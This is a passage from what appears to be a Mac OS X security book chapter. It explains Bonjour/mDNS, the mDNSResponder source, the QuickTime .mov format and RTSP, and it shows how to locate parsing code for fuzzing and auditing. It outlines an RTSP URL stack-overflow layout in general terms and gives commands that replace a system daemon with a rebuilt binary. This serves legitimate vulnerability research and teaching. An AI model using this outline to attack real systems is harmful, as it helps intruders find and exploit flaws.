does not explain how these devices come up with their own names. For this, the 
strategy is similar to how IP addresses are derived. The device chooses a name 
that ends in .local, usually based on the hostname, but it could also be chosen 
randomly. It then makes mDNS queries for any other machine with that name. 
If it fi nds another device with that name, it chooses a different name; otherwise 
it has found its name (Figure 2-2). Note that in this way, all mDNS names end 
in the string .local. Many operating systems, including Mac OS X and Windows 
(even without Bonjour installed) support mDNS names.

Figure 2-2:  A packet capture showing mDNS name resolution.
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Service Discovery
The fi nal requirement of Zero Confi guration Networking is met by DNS Service 
Discovery (DNS-SD). DNS Service Discovery uses the syntax from DNS SRV 
records, but uses DNS PTR records so that multiple results can be returned if 
more than one host offers a particular service. A client requests the PTR lookup 
for the name “<Service>.<Domain>” and receives a list of zero or more PTR 
records of the form “<Instance>.<Service>.<Domain>”. An example will help 
clear this up.

Mac OS X comes with the dns-sd binary, which can be used to advertise 
services and perform lookups for services. To look for available SSH servers 
(Figure 2-3) on the local network, the following command can be issued, where 
in this case the service is ssh and the domain is tcp.

$ dns-sd -B _ssh._tcp

Browsing for _ssh._tcp

Timestamp     A/R Flags if Domain                    Service Type              

Instance Name

 9:13:46.475  Add     3  4 local.                    _ssh._tcp.                

Charlie Miller’s Computer

 9:13:46.475  Add     2  4 local.                    _ssh._tcp.                

Dragos Ruiu’s MacBook Air

^C

In the packet structure, the packets look just like DNS queries except they 
are on port 5353 and they are sent to a multicast address.

For another example, dns-sd can be run in one window looking for web pages, 
and in another it can advertise the fact that a service is available.

$ dns-sd -B _http._tcp

Browsing for _http._tcp

Timestamp     A/R Flags if Domain                    Service Type              

Instance Name

 9:52:51.203  Add     2  4 local.                    _http._tcp.               

DVR 887A

This shows an existing HTTP service called DVR 887A already on the net-
work. This happens to be a TiVo. In another window, dns-sd can be used to 
advertise a service:

$ dns-sd -R “Index” _http._tcp . 80 path=/index.html

Registering Service Index._http._tcp port 80 TXT path=/index.html

 9:53:03.998  Got a reply for service Index._http._tcp.local.: Name now 

registered and active
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This command registers an HTTP service on port 80. Notice that the machine 
doesn’t actually have such a service, but dns-sd is free to send the packets that 
indicate that such a service exists. 

The original dns-sd command sees this new service available and adds it.

9:53:04.250  Add     3  4 local.                    _http._tcp.               

Index

You can see how quickly this information is propagated; it took .25 seconds 
for the listener to add the new service after it was added. This is because the 
new service, upon starting, mulitcasts its presence to everyone on the subnet. 
The listener didn’t have to ask; it just had to be listening. This helps keep the 
level of network traffi c for Bonjour to a minimum. If you kill the advertising 
of the HTTP service from the second window by pressing Ctrl+C, the original 
window sees it going away and removes it.

9:53:13.066  Rmv     1  4 local.                    _http._tcp.               

Index

Figure 2-3:  Packet capture for an SSH service query
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Bonjour
Some administrators perceive Bonjour as a security risk because it advertises 

available services. This perception is a fallacy. Advertising services doesn’t make 
the services any more or less vulnerable. An attacker could still actively probe 
for services. If you really want to turn off Bonjour, you can use the following 
command to disable it.

$ sudo launchctl unload -w 

/System/Library/LaunchDaemons/com.apple.mDNSResponder.plist

If you are worried about the mDNSResponder service itself having a vulner-
ability, then this might be a smart command to run.

Another way to view Bonjour activity on the network is with Bonjour Browser 
(www.tildesoft.com); see Figure 2-4.

Figure 2-4: Bonjour Browser shows all advertised services.

You can see some of the service names, such as _odisk, _tivo-videos, _http, 
_ssh, and _workstation. o_disk is the remote disk sharing used by Mac OS X to 
share out a DVD or CD-ROM drive.

Another way to interact with Bonjour is programmatically through Python. 
There are Python bindings for all Zero Configuration settings from the 
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pyzeroconf package (sourceforge.net/projects/pyzeroconf). For example, 
the following Python script performs the same actions as the dns-sd command 
executed earlier.

import Zeroconf

class MyListener(object):

    def removeService(self, server, type, name):

        print “Service”, repr(name), “removed”

    def addService(self, server, type, name):

        print “Service”, repr(name), “added”

        # Request more information about the service

        try:

                info = server.getServiceInfo(type, name)

                print ‘Additional info:’, info

        except:

                pass

if __name__ == ‘__main__’:

    server = Zeroconf.Zeroconf()

    listener = MyListener()

    browser = Zeroconf.ServiceBrowser(server, “_ssh._tcp.local.”, 

listener)

Running this script gives the location of advertised SSH servers on this local 
network.

$ python query.py 

Service u”Charlie Miller’s Computer._ssh._tcp.local.” added

Additional info: service[Charlie Miller’s 

Computer._ssh._tcp.local.,192.168.1.182:22,]

Service u’Dragos Ruiu\u2019s MacBook Air._ssh._tcp.local.’ added

mDNSResponder
Now that you understand how Bonjour works in practice, it may be useful to 
look at the source code for mDNSResponder. This is the application responsible 
for handling Bonjour on Mac OS X computers and is one of the only listening 
services in Mac OS X out of the box. This application had the honor of pos-
sessing the fi rst out-of-the-box remote root in OS X (this vulnerability could 
be activated across the Internet, even if the fi rewall confi g was turned on and 
set to its most restrictive settings possible using the GUI). For these reasons, it 
deserves a closer look. 
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To get the source code, go to Apple’s CVS server.

$ export CVSROOT=:ext:apsl@anoncvs.opensource.apple.com:/cvs/apsl

$ export CVS_RSH=ssh

$ cvs co mDNSResponder

It will ask for a password. Use your Apple ID and password separated by a 
colon, like id:pass. Take a look at the directory structure.

$ ls

CVS                PrivateDNS.txt  mDNSMacOS9  mDNSShared 

Clients            README.txt              mDNSMacOSX        mDNSVxWorks

LICENSE         buildResults.xml        mDNSPosix            mDNSWindows

Makefile                mDNSCore                mDNSResponder.sln

There is a central location of code for all platforms (mDNSShared), as well 
as platform-specifi c directories (such as mDNSMacOSX and mDNSWindows). 
These platform-specifi c fi les contain information about the application’s low-
level needs, such as how to send and receive UDP packets or how to join a 
multicast group. There is also a Visual Studio fi le for building in a Windows 
environment and an Xcode project fi le that is invoked by the Makefi le. As this 
is the fi rst time you’ve encountered the need to use Xcode, we’ll take a moment 
to explain Xcode projects. 

A Digression about Xcode

Xcode is Apple’s Integrated Development Environment (IDE). It is free to down-
load and comes on the Mac OS X installation DVD (although it is not installed by 
default). It consists of a sophisticated GUI built on top of the GCC compiler. 

You can open an Xcode project by double-clicking on it in Finder or by using 
the Open command:

$ open mDNSMacOSX/mDNSResponder.xcodeproj

This command will bring up the main Xcode window; see Figure 2-5.
You can use this GUI to change the confi gurations, edit and view source fi les, 

or even build the application. In this case, let’s make some changes to how the 
project is built. We will make it easier to debug by adding symbols and removing 
optimizations. Select Project  ➢  Edit Project Settings. In the window that appears, 
select the Build tab. This tab controls all the settings that are normally passed as 
options to the compiler. In the search box, type debug. This will bring up all the 
confi guration settings related to debugging. Change the optimization to O0, and 
make sure the binary is not stripped and that debugging symbols are produced. 
Make the necessary changes, as in Figure 2-6, and close the Xcode project. 
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Figure 2-5:  The Xcode project for mDNSResponder

Figure 2-6:  Changes to make a debug version of mDNSResponder
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Build the project by typing

SRCROOT=. make

or use the xcodebuild command-line interface:

$ xcodebuild install -target mDNSResponder

For the majority of projects, running xcodebuild without any arguments in 
the same directory as the corresponding .xcodeproj fi le will build the project. 
To start over, you can run the equivalent of “make clean”:

$ xcodebuild clean

When the project is built successfully, many libraries and binaries will be 
produced, including mDNSMacOSX/usr/sbin/mDNSResponder. To run this, 
make a copy of the real mDNSResponder and put the freshly built one on top of 
the old one. Then kill the mDNSResponder process; a new one will be spawned 
automatically.

$ sudo mv /usr/sbin/mDNSResponder /usr/sbin/mDNSResponder.bak

$ sudo cp mDNSMacOSX/usr/sbin/mDNSResponder /usr/sbin/

$ sudo chmod 555 /usr/sbin/mDNSResponder

$ sudo killall -9 mDNSResponder

Source Code
Due to the importance of this application, and to get a feeling for Apple 

source code in general, we’ll now take a closer look at some of the source code 
from the project. We’ll concentrate on the code that is shared for all the plat-
forms, located in mDNSCore. From a security perspective, it is important to 
know where untrusted network data enters the application. This occurs in the 
mDNSCoreReceive function from the fi le mDNS.c.

mDNSexport void mDNSCoreReceive(mDNS *const m, void *const pkt, const 

mDNSu8 *const end,

        const mDNSAddr *const srcaddr, const mDNSIPPort srcport, const 

mDNSAddr *dstaddr, const mDNSIPPort dstport,

        const mDNSInterfaceID InterfaceID)

        {

        mDNSInterfaceID ifid = InterfaceID;

        DNSMessage  *msg  = (DNSMessage *)pkt;

        const mDNSu8 StdQ = kDNSFlag0_QR_Query    | 

kDNSFlag0_OP_StdQuery;

        const mDNSu8 StdR = kDNSFlag0_QR_Response | 
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kDNSFlag0_OP_StdQuery;

        const mDNSu8 UpdR = kDNSFlag0_QR_Response | kDNSFlag0_OP_Update;

        mDNSu8 QR_OP;

        mDNSu8 *ptr = mDNSNULL;

        mDNSBool TLS = (dstaddr == (mDNSAddr *)1);      // For debug 

logs: dstaddr = 0 means TCP; dstaddr = 1 means TLS

        if (TLS) dstaddr = mDNSNULL;

…

        if ((unsigned)(end - (mDNSu8 *)pkt) < sizeof(DNSMessageHeader)) 

{ LogMsg(“DNS Message too short”); return; }

        QR_OP = (mDNSu8)(msg->h.flags.b[0] & kDNSFlag0_QROP_Mask);

        // Read the integer parts which are in IETF byte-order (MSB 

first, LSB second)

        ptr = (mDNSu8 *)&msg->h.numQuestions;

        msg->h.numQuestions   = (mDNSu16)((mDNSu16)ptr[0] << 8 | 

ptr[1]);

        msg->h.numAnswers     = (mDNSu16)((mDNSu16)ptr[2] << 8 | 

ptr[3]);

        msg->h.numAuthorities = (mDNSu16)((mDNSu16)ptr[4] << 8 | 

ptr[5]);

        msg->h.numAdditionals = (mDNSu16)((mDNSu16)ptr[6] << 8 | 

ptr[7]);

        if (!m) { LogMsg(“mDNSCoreReceive ERROR m is NULL”); return; }

        // We use zero addresses and all-ones addresses at various 

places in the code to indicate special values like “no address”

        // If we accept and try to process a packet with zero or all-

ones source address, that could really mess things up

        if (srcaddr && !mDNSAddressIsValid(srcaddr)) { 

debugf(“mDNSCoreReceive ignoring packet from %#a”, srcaddr); return; }

        mDNS_Lock(m);

        m->PktNum++;

…

        if      (QR_OP == StdQ) mDNSCoreReceiveQuery   (m, msg, end, 

srcaddr, srcport, dstaddr, dstport, ifid);

        else if (QR_OP == StdR) mDNSCoreReceiveResponse(m, msg, end, 

srcaddr, srcport, dstaddr, dstport, ifid);

        else if (QR_OP != UpdR)

                {

                LogMsg(“Unknown DNS packet type %02X%02X from 

%#-15a:%-5d to %#-15a:%-5d on %p (ignored)”,

                        msg->h.flags.b[0], msg->h.flags.b[1], srcaddr, 

mDNSVal16(srcport), dstaddr, mDNSVal16(dstport), InterfaceID);

                }

        // Packet reception often causes a change to the task list:

        // 1. Inbound queries can cause us to need to send responses
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        // 2. Conflicing response packets received from other hosts can 

cause us to need to send defensive responses

        // 3. Other hosts announcing deletion of shared records can 

cause us to need to re-assert those records

        // 4. Response packets that answer questions may cause our 

client to issue new questions

        mDNS_Unlock(m);

        }

The raw data from the network enters this function in the pkt variable. It 
then uses msg as a pointer to a structure that understands the format of the 
packet.

(gdb) print *((DNSMessage *) pkt) 

   $2 = { 

      h = { 

          id = { 

              b = “\000”, 

              NotAnInteger = 0 

          }, 

          flags = { 

              b = “\000”, 

              NotAnInteger = 0 

          }, 

          numQuestions = 768, 

          numAnswers = 0, 

          numAuthorities = 0, 

          numAdditionals = 0 

      }, 

      data = “\bDVR 887A\f_tivo-videos\004_tcp\005local\000\000!\000

\001?\f\000\020\000\001\bDVR-5C90?’\000\001\000\001prisoner\004iana

\003org\000\nhostmaster\froot-servers?T\000\000\000\001\000\000\a\

b\000\000\003?\000\t:?\000\t:?Command=QueryContainer&Container=%2FNowPla

ying\030swversion=9.3.1-01-2-649\024platf”… 

   }

Now back to the source code.

typedef packedstruct

        {

        mDNSOpaque16 id;

        mDNSOpaque16 flags;

        mDNSu16 numQuestions;

        mDNSu16 numAnswers;

        mDNSu16 numAuthorities;

        mDNSu16 numAdditionals;
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        } DNSMessageHeader;

// We can send and receive packets up to 9000 bytes (Ethernet Jumbo 

Frame size, if that ever becomes widely used)

// However, in the normal case we try to limit packets to 1500 bytes so 

that we don’t get IP fragmentation on standard Ethernet

// 40 (IPv6 header) + 8 (UDP header) + 12 (DNS message header) + 1440 

(DNS message body) = 1500 total

#define AbsoluteMaxDNSMessageData 8940

#define NormalMaxDNSMessageData 1440

typedef packedstruct

        {

        DNSMessageHeader h;                                             

// Note: Size 12 bytes

        mDNSu8 data[AbsoluteMaxDNSMessageData]; // 40 (IPv6) + 8 (UDP) + 

12 (DNS header) + 8940 (data) = 9000

        } DNSMessage;

It reverses the byte order (endianness) and, depending on the type of packet, 
calls either mDNSCoreReceiveQuery or mDNSCoreReceiveResponse. These two 
functions break out the data further and process it. The entire code is large, but 
this shows one place where outside data enters the system. Another spot that 
code enters mDNSResponder is in the fi le LegacyNATTransversal.c. Any fi le 
or function in source code containing the word legacy always requires a second 
look by a code auditor. 

QuickTime

QuickTime Player plays a large variety of different fi le types. Some are well 
known (like .mp3, .avi, and .gif ) and most common audio- and video-player 
software can understand them. QuickTime Player also plays a number of Apple-
developed fi le formats that many other players may not support. QuickTime 
Player communicates to servers using a few protocols that are not common. In 
this section we’ll outline some of the fi le types and protocols that were originally 
introduced for QuickTime Player.

.mov
The QuickTime fi le format (.mov) was designed by Apple and is now the basis 
for MPEG-4. It consists of containers that store one or more tracks. Each track 
can store a different type of data, such as audio, video, or text. 

The fundamental unit for a .mov fi le is the atom. An atom begins with a 32-bit 
unsigned integer, followed by a 32-bit type. The rest of the atom is the data for 
that atom. This data may contain other atoms; see Figure 2-7.
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Figure 2-7:  The atom structure of a .mov file

The size value indicates the total number of bytes in the atom, and the type 
usually consists of four bytes from the ASCII range of values. The size value 
can also be an extended size, which allows for sizes larger than 32 bits. In the case 
of extended size, the size fi eld is set to 1 (which would not normally be valid 
since the size fi eld contains the number of bytes in the whole atom, including 
the size fi eld itself and the type fi eld). When an extended size is needed, the 64 
bits after the type are used for the size. Finally, if the size value is set to zero, 
the atom is assumed to extend for the rest of the fi le so that the size is the length 
of the fi le from that point onward.

Take a look at the atom structure for an actual fi le.

$ hexdump -C L33t_Haxxors.mov  | head 

00 00 00 20 66 74 79 70  71 74 20 20 20 05 03 00  |... ftypqt   ...|

71 74 20 20 00 00 00 00  00 00 00 00 00 00 00 00  |qt  ............|

00 01 16 3b 6d 6f 6f 76  00 00 00 6c 6d 76 68 64  |...;moov...lmvhd|

00 00 00 00 c2 24 a3 f9  c2 24 a3 fb 00 00 02 58  |....?$???$??...X|

00 01 64 49 00 01 00 00  01 00 00 00 00 00 00 00  |..dI............|

00 00 00 00 00 01 00 00  00 00 00 00 00 00 00 00  |................|

00 00 00 00 00 01 00 00  00 00 00 00 00 00 00 00  |................|

00 00 00 00 40 00 00 00  00 00 00 00 00 00 04 b0  |....@..........?|

00 00 07 08 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00 00 00 09 00 00 03 17  74 72 61 6b 00 00 00 5c  |........trak...\|

74 6b 68 64 00 00 00 0f  c1 f2 72 0e c2 24 a3 fb  |tkhd....??r.?$??|

The fi rst atom begins with a length of 0×20 and a type of ftyp. Referring to the 
specifi cation, this type corresponds to the fi le type Atom. The data in this par-
ticular type of atom is the Major_Brand, a 32-bit integer, the Minor_Version, and a 
series of Compatible_Brands. The next atom, beginning at offset 0×20 in the fi le, 
has size 0×1163b and is of type moov, or a Movie Atom. The Movie Atom is large 
and can contain many different types of atoms. In this case, the fi rst thing that 
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shows up in the data is a Movie Header Atom with size 0x6c and type mvhd. See 
Figure 2-8 for more data broken out by type.

Figure 2-8:  The .mov file broken out by atom. All sizes are in hexadecimal.

Being familiar with the layout of the fi les will help in fuzzing or auditing the 
QuickTime Player application. We’ll discuss reverse engineering and fuzzing 
in chapters 5 and 6, but to see how knowing the fi le format helps in reverse-
engineering the player, fi rst fi nd the library responsible for parsing .mov fi les. 
You can do this by fi nding the libraries used by QuickTime Player and then 
searching through the strings in each library for the names of the atom types.

$ otool -L QuickTime\ Player 

QuickTime Player:

/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit 

(compatibility version 45.0.0, current version 949.0.0)

/System/Library/Frameworks/ApplicationServices.framework/Versions/A/

ApplicationServices (compatibility version 1.0.0, current version 

34.0.0)

/System/Library/Frameworks/Carbon.framework/Versions/A/Carbon 

(compatibility version 2.0.0, current version 136.0.0)

/System/Library/Frameworks/CoreFoundation.framework/Versions/A/

CoreFoundation (compatibility version 150.0.0, current version 476.0.0)
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/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation 

(compatibility version 300.0.0, current version 677.0.0)

/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit 

(compatibility version 1.0.0, current version 275.0.0)

/System/Library/Frameworks/QTKit.framework/Versions/A/QTKit 

(compatibility version 1.0.0, current version 1.0.0)

/System/Library/Frameworks/QuickTime.framework/Versions/A/QuickTime 

(compatibility version 1.0.0, current version 861.0.0)

/System/Library/Frameworks/Security.framework/Versions/A/Security 

(compatibility version 1.0.0, current version 31122.0.0)

/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/

SystemConfiguration (compatibility version 1.0.0, current version 

204.0.0)

/System/Library/Frameworks/Quartz.framework/Versions/A/Quartz 

(compatibility version 1.0.0, current version 1.0.0)

/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore 

(compatibility version 1.2.0, current version 1.5.0)

/usr/lib/libstdc++.6.dylib (compatibility version 7.0.0, current version 

7.4.0)

/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 

1.0.0)

/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 

111.0.0)

/System/Library/Frameworks/CoreServices.framework/Versions/A/

CoreServices (compatibility version 1.0.0, current version 32.0.0)

/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 

227.0.0)

$ otool -L QuickTime\ Player| xargs grep “moov” 2> /dev/null

Binary file /System/Library/Frameworks/QTKit.framework/Versions/A/QTKit 

matches

Binary file /System/Library/Frameworks/QuickTime.framework/Versions/A/

QuickTime matches

The second library in the list seems the most promising, so grab it and load 
it into IDA Pro. Search for one of the unsigned integers that represents an atom 
type—for example, “moov” = 0x6d6f6f76. You can do this by selecting Search 
and typing in your search term. There will be many occurrences of this; see 
Figure 2-9.

Using this method, you can fi nd the functions that are parsing for the atom 
type. This allows you to fi nd the relevant parsing code quickly, even in the 
middle of complicated functions; see Figure 2-10.

Reading through the specifi cation, you can choose a more obscure atom 
type such as the Preview atom, “rmda” = 0x706e6f74. Here only three func-
tions use this value: _NewMovieFromDataRefPriv_priv, _AddFilePreview, and 
_MakeFilePreview; see Figure 2-11.
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Figure 2-9:  There are many comparisons against the string “moov” in the QuickTime library.

Figure 2-10:  A complicated function responsible for checking atom types found with grep
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Figure 2-11:  There are only three occurrences of “rmda” in the QuickTime library.

Using even this very basic technique can allow you to focus quickly on the 
portions of code associated with particular atom types.

There are other Apple-created fi le types, such as QuickTime Media Link (.qtl) 
and QuickTime Virtual Reality (.qtvr), that QuickTime Player can process by 
default. You must understand these, along with all the non-Apple fi le formats, 
to evaluate the security of client-side applications on a Mac OS X computer. 
We’ll discuss this more in the next chapter.

RTSP
Besides fi le formats, QuickTime Player uses some uncommon network protocols. 
To get video on demand, it uses the Real Time Streaming Protocol (RTSP) to 
access metafi le information and issue streaming commands. It uses the Real-
time Transport Protocol (RTP) for the actual video and audio content. These 
protocols have been a source of vulnerabilities in the past; see CVE-2007-6166 
and CVE-2008-0234 for specifi c instances of RTSP vulnerabilities.. 

RTSP is similar in design to HTTP, with the biggest difference being that 
RTSP has a session identifi er that allows for stateful transactions. Different RTSP 
requests can be linked together by combining the session identifi er with the 
request. By contrast, HTTP is stateless, meaning each individual HTTP request 
is independent of all previous (and future) requests. 

RTSP may be transmitted over TCP or UDP. While TCP and UDP differ in 
their underlying delivery mechanism, the RTSP application protocol is still 
considered stateful due to the inclusion of the session identifi er. Figure 2-12 
shows a typical RTSP session.

Possible RTSP methods include

 OPTIONS: Get available methods ■

 SETUP: Initialize session ■

 ANNOUNCE: Change description of media object ■

 DESCRIBE: Get description of media object ■

 PLAY: Start playback ■
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 RECORD: Start recording ■

 REDIRECT: Redirect client to new server ■

 PAUSE: Stop delivery but maintain state ■

 SET_PARAMETER: Set a device or control parameter ■

 TEARDOWN: End session ■

Client Media 
Server

DESCRIBE

SETUP

PLAY

RTP audio

RTP video

RTCP

PAUSE

TEARDOWN

Figure 2-12:  Steps in receiving media via RTSP/RTP/RTCP

There are a number of possible headers in RTSP requests, including Accept, 
Bandwidth, Scale, and User-Agent. The Response headers may include 
Location, Proxy-Authenticate, Public, Retry-After, Server, Vary, and WWW-
Authenticate. 

In early 2007, as part of the Month of Apple Bugs, a stack overfl ow was found 
in the way RTSP URLs were handled. A URL of the form rtsp:// [random] + 
colon + [299 bytes padding + payload] would get control of the target. Later, 
in November, another RTSP stack overfl ow was found in the way QuickTime 
handles the Content-Type response header. Just two months after that, another 
RTSP stack-overfl ow vulnerability was found in QuickTime, this time in the 
handling of Reason-Phrase when an error is encountered. Odds are, the same 
Apple engineer was responsible for three separate bugs. Thanks!
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Look at the RTSP protocol in action. First you need an RTSP server. For this 
you can either use the QuickTime Streaming Server that comes on Mac OS X 
Server or the Darwin Streaming Server, which is open source. The Darwin 
server can be obtained from http://dss.macosforge.org/. The binary pack-
age comes in a .dmg fi le that will launch automatically and take you to the 
web-server interface on port 1220. The default location for media content is 
/Library/QuickTimeStreaming/Movies/. Figure 2-13 shows the administra-
tive interface.

Figure 2-13:  The administrative interface for the QuickTime Streaming Server

To have some content available for download, select Playlists ➢ New Media 
Playlist. Add a fi le to the playlist, like the fi le sample_100kbit.mov that comes 
with the Darwin server. Name the playlist test. Then press the play button on 
the Playlist page for the new test playlist; see Figure 2-14.

You can now use QuickTime Player to connect to the media server by launch-
ing QuickTime Player and selecting File ➢ Open URL and entering

rtsp://localhost/test.sdp

The movie should play in the viewer. Capturing the packets shows how the 
exchange proceeds from RTSP to RTP; see Figure 2-15.
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Figure 2-14:   The server is now streaming live media.

Figure 2-15:  A packet capture that shows the transition from RTSP to RTP

95363c02.indd   5595363c02.indd   55 1/25/09   4:39:45 PM1/25/09   4:39:45 PM



56 Part I ■ Mac OS X Basics

Looking at the RTSP that was exchanged, we see the fi rst leg of the conversa-
tion started by the player issuing the following request:

DESCRIBE rtsp://192.168.1.182/test.sdp RTSP/1.0

CSeq: 1

Accept: application/sdp

Bandwidth: 384000

Accept-Language: en-US

User-Agent: QuickTime/7.4.1 (qtver=7.4.1;cpu=IA32;os=Mac 10.5.2)

Notice the sequence number 1. The server responds with the contents of the 
.sdp playlist fi le requested. These .sdp fi les are another fi le format that lies on 
the attack surface of QuickTime Player.

RTSP/1.0 200 OK

Server: QTSS/6.0.3 (Build/526.3; Platform/MacOSX; Release/Darwin 

Streaming Server; State/Development; )

Cseq: 1

Cache-Control: no-cache

Content-length: 386

Date: Wed, 09 Jul 2008 15:19:11 GMT

Expires: Wed, 09 Jul 2008 15:19:11 GMT

Content-Type: application/sdp

x-Accept-Retransmit: our-retransmit

x-Accept-Dynamic-Rate: 1

Content-Base: rtsp://192.168.1.182/test.sdp/

v=0

o=QTSS_Play_List 140087043 422545485 IN IP4 192.168.1.182

s=test

c=IN IP4 0.0.0.0

b=AS:94

t=0 0

a=x-broadcastcontrol:RTSP

a=control:*

m=video 0 RTP/AVP 96

b=AS:79

a=3GPP-Adaptation-Support:1

a=rtpmap:96 X-SV3V-ES/90000

a=control:trackID=1

m=audio 0 RTP/AVP 97

b=AS:14

a=3GPP-Adaptation-Support:1

a=rtpmap:97 X-QDM/22050/2

a=control:trackID=2

a=x-bufferdelay:4.97
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Next the client attempts to set up for the fi rst track.

SETUP rtsp://192.168.1.182/test.sdp/trackID=1 RTSP/1.0

CSeq: 2

Transport: RTP/AVP;unicast;client_port=6970-6971

x-retransmit: our-retransmit

x-dynamic-rate: 1

x-transport-options: late-tolerance=2.384000

User-Agent: QuickTime/7.4.1 (qtver=7.4.1;cpu=IA32;os=Mac 10.5.2)

Accept-Language: en-US

After some negotiations back and forth where the server issues OPTIONS 
headers, the server fi nally responds with an OK and lists all of the necessary 
parameters, such as port numbers and session IDs.

RTSP/1.0 200 OK

Server: QTSS/6.0.3 (Build/526.3; Platform/MacOSX; Release/Darwin 

Streaming Server; State/Development; )

Cseq: 3

Session: 2239848818749704366

Cache-Control: no-cache

Date: Wed, 09 Jul 2008 15:19:11 GMT

Expires: Wed, 09 Jul 2008 15:19:11 GMT

Transport: RTP/AVP;unicast;source=192.168.1.182;client_port=6972-

6973;server_port=6970-6971

x-Transport-Options: late-tolerance=2.384000

x-Retransmit: our-retransmit

x-Dynamic-Rate: 1

The client can now begin playing the media.

PLAY rtsp://192.168.1.182/test.sdp RTSP/1.0

CSeq: 4

Range: npt=0.000000-

x-prebuffer: maxtime=2.000000

x-transport-options: late-tolerance=10

Session: 2239848818749704366

User-Agent: QuickTime/7.4.1 (qtver=7.4.1;cpu=IA32;os=Mac 10.5.2)

At this point, the media server begins streaming the actual contents of the 
media to the client via RTP over UDP. The client can control this by using Real-
time Transport Control Protocol (RTCP). After the viewer fi nishes watching 
the media, they may choose to pause or tear down the connection. Below is the 
back-and-forth between client and server.

PAUSE rtsp://192.168.1.182/test.sdp RTSP/1.0

CSeq: 6
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Session: 2239848818749704366

User-Agent: QuickTime/7.4.1 (qtver=7.4.1;cpu=IA32;os=Mac 10.5.2)

RTSP/1.0 200 OK

Server: QTSS/6.0.3 (Build/526.3; Platform/MacOSX; Release/Darwin 

Streaming Server; State/Development; )

Cseq: 6

Session: 2239848818749704366

TEARDOWN rtsp://192.168.1.182/test.sdp RTSP/1.0

CSeq: 7

Session: 2239848818749704366

User-Agent: QuickTime/7.4.1 (qtver=7.4.1;cpu=IA32;os=Mac 10.5.2)

RTSP/1.0 200 OK

Server: QTSS/6.0.3 (Build/526.3; Platform/MacOSX; Release/Darwin 

Streaming Server; State/Development; )

Cseq: 7

Session: 2239848818749704366

Connection: Close

With the history of vulnerabilities in the handling of RTSP, it’s worth your 
time to become familiar with this protocol. Your knowledge can be leveraged for 
fuzzing or reverse engineering. As we did for .mov fi les, let’s use our knowledge 
of the protocol to fi nd some important parts of the QuickTime binaries.

First we must fi nd the library (or application) that contains the RTSP parsing 
code. For this, select something from the protocol you wouldn’t expect to see 
anywhere else—for example, the term TEARDOWN. Trying to grep for this word 
in the libraries that QuickTime Player is linked to, as we did before, fails.

$ otool -L QuickTime\ Player| xargs grep TEARDOWN 2> /dev/null

$ 

This is because QuickTime Player loads many libraries dynamically at 
runtime, including the so-called QuickTime Components. Attaching to a 
running QuickTime Player with GDB and issuing the info sharedlibrary 
command reveals more of the libraries QuickTime actually uses (others are 
loaded on demand).

(gdb) info sharedlibrary 

The DYLD shared library state has not yet been initialized.

                                          Requested State Current State

Num Basename                Type Address         Reason | | Source     

  | |                          | |                    | | | |          

  1 QuickTime Player           - 0x1000            exec Y Y 

/Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player 

(offset 0x0)
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  2 dyld                       - 0x8fe00000        dyld Y Y 

/usr/lib/dyld at 0x8fe00000 (offset 0x0) with prefix “__dyld_”

  3 AppKit                     F 0x95255000        dyld Y Y 

/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit at 

0x95255000 (offset -0x6adab000)

  4 ApplicationServices        F 0x904ac000        dyld Y Y 

/System/Library/Frameworks/ApplicationServices.framework/Versions/A/

ApplicationServices at 0x904ac000 (offset -0x6fb54000)

  5 Carbon                     F 0x90f06000        dyld Y Y 

/System/Library/Frameworks/Carbon.framework/Versions/A/Carbon at 

0x90f06000 (offset -0x6f0fa000)

…

126 ApplePixletVideo           - 0x173fa000        dyld Y Y 

/System/Library/QuickTime/ApplePixletVideo.component/Contents/MacOS/

ApplePixletVideo at 0x173fa000 (offset 0x173fa000)

127 RawCamera                  B 0x175d9000        dyld Y Y 

/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera 

at 0x175d9000 (offset 0x175d9000)

128 QuickTimeImporters         - 0x96120000        dyld Y Y 

/System/Library/QuickTime/QuickTimeImporters.component/Contents/MacOS/

QuickTimeImporters at 0x96120000 (offset -0x69ee0000)

129 Unicode Encodings          B 0x155ce000        dyld Y Y 

/System/Library/TextEncodings/Unicode Encodings.bundle/Contents/MacOS/

Unicode Encodings at 0x155ce000 (offset 0x155ce000)

In this case there are 129 libraries loaded within the QuickTime process! The 
RTSP code could be located in any one of them (or any combination of them). 
Using your knowledge of the protocol, you can easily fi nd at least one that 
contains some RTSP processing code:

$ find -X /System/Library/ -type f 2>/dev/null | grep ‘Contents/MacOS’ | 

xargs grep TEARDOWN 2> /dev/null

Binary file 

/System/Library//QuickTime/QuickTimeStreaming.component/Contents/MacOS

/QuickTimeStreaming matches

This could have been done with a simple grep, but the preceding command 
executes faster. Firing up IDA Pro and loading this library quickly reveals por-
tions of the executable that deal with RTSP. 

Following the cross-references (DATA and CODE) from the string 
“TEARDOWN” leads to the call chain in Figure 2-17.

The QuickTime vulnerability (CVE-2007-6166) in the RTSP Content-Type 
handling took place in a memory copy within the EngineNotifi cationProc. 
Therefore, by knowing only a little about the protocol, it is possible to zero in 
on the portions of the binary that process the protocol. There will be more on 
exploiting this particular RTSP bug in Chapter 10, “Real-World Exploits,” and 
more on reverse engineering in Chapter 6, “Reverse Engineering.”
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Figure 2-16:  IDA Pro shows many important constants from the RTSP protocol and 
where they are used in the binary.

EngineNotificationProc

MediaCondNotificationProc

RTSPEngine_SendRequest

“TEARDOWN”

Figure 2-17:  Following cross-references from the “TEARDOWN” string leads to the 
EngineNotificationProc function, among others.
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Conclusion

Mac OS X uses a variety of Internet protocols and fi le formats. Most of these 
are the same as you would fi nd in a Windows, Linux, or Solaris environment. 
Nevertheless, Mac OS X does use a few Apple-developed or not-very-common 
protocols and fi le formats. This chapter looked at a few of these, including 
Bonjour, the QuickTime fi le format, and RTSP. It then showed how knowing 
the protocol or fi le format can help you fi nd which libraries are utilized by Mac 
OS X to process those protocols.
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When looking for vulnerabilities or trying to secure a system, the fi rst step 
is always to consider what parts of the system are exposed to attackers. This 
